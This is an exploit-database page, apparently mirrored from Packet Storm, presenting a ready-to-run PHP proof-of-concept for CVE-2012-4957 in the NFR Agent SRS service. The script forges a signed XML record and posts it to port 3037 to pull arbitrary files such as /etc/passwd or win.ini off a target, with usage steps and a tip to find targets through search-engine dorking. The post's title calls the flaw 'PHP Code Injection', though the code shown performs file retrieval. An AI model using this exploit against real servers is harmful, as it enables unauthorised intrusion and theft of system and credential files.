Lucene search
K

📄 NFR Agent SRS Record 1.0.4.3 PHP Code Injection

🗓️ 16 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 118 Views

NFR Agent SRS vulnerability enables PHP code injection to retrieve server files (CVE-2012-4957).

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2012-4957
12 Dec 201200:00
circl
Check Point Advisories
Novell File Reporter SRS Arbitrary File Retrieval (CVE-2012-4957)
16 Dec 201200:00
checkpoint_advisories
CVE
CVE-2012-4957
18 Nov 201219:00
cve
Cvelist
CVE-2012-4957
18 Nov 201219:00
cvelist
Metasploit
NFR Agent SRS Record Arbitrary Remote File Access
16 Nov 201215:03
metasploit
NVD
CVE-2012-4957
18 Nov 201219:55
nvd
OpenVAS
Novell File Reporter 'NFRAgent.exe' Multiple Security Vulnerabilities
12 Dec 201200:00
openvas
Packet Storm
NFR Agent SRS Record Arbitrary Remote File Access
1 Sep 202400:00
packetstorm
Prion
Path traversal
18 Nov 201219:55
prion
RedhatCVE
CVE-2012-4957
22 May 202500:35
redhatcve
Rows per page
=============================================================================================================================================
    | # Title     : NFR Agent SRS Record 1.0.4.3 PHP Code Injection Vulnerability                                                               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://documentation.n-able.com/remote-management/userguide/Content/agentreleasenotes.htm                                  |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: This code is written in PHP and aims to exploit a vulnerability in the NFR Agent to retrieve any file from the targeted server.
    	
    	( https://packetstorm.news/files/id/181031/	CVE-2012-4957 )
    	
    [+] save code as poc.php.
    
    [+] Set Target : line 49
    
    [+] USage : php poc.php 
    
    [+] PayLoad :
    
    <?php
    
    class NFRFileRetriever {
        private $host;
        private $port;
        private $ssl;
        private $remoteFile;
    
        public function __construct($host, $port = 3037, $ssl = true, $remoteFile = null) {
            $this->host = $host;
            $this->port = $port;
            $this->ssl = $ssl;
            $this->remoteFile = $remoteFile ?: (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? 'C:\\Windows\\win.ini' : '/etc/passwd');
        }
    
        private function generateMessage() {
            $record = "<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>" . $this->remoteFile . "</PATH></RECORD>";
            $md5 = strtoupper(md5("SRS" . $record . "SERVER"));
            return $md5 . $record;
        }
    
        public function retrieveFile() {
            $url = ($this->ssl ? "https" : "http") . "://" . $this->host . ":" . $this->port . "/FSF/CMD";
            
            $message = $this->generateMessage();
    
            $options = [
                'http' => [
                    'header'  => "Content-Type: text/xml\r\n",
                    'method'  => 'POST',
                    'content' => $message
                ]
            ];
            
            $context = stream_context_create($options);
            $response = file_get_contents($url, false, $context);
            
            if ($response && strpos($response, "<RESULT>") === false) {
                $fileName = basename($this->remoteFile);
                file_put_contents($fileName, $response);
                echo "[+] " . $this->remoteFile . " saved as " . $fileName . "\n";
            } else {
                echo "[-] Failed to retrieve the file contents\n";
            }
        }
    }
    
    // مثال للاستخدام:
    $retriever = new NFRFileRetriever('target_ip');
    $retriever->retrieveFile();
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 27.8
EPSS0.75558
118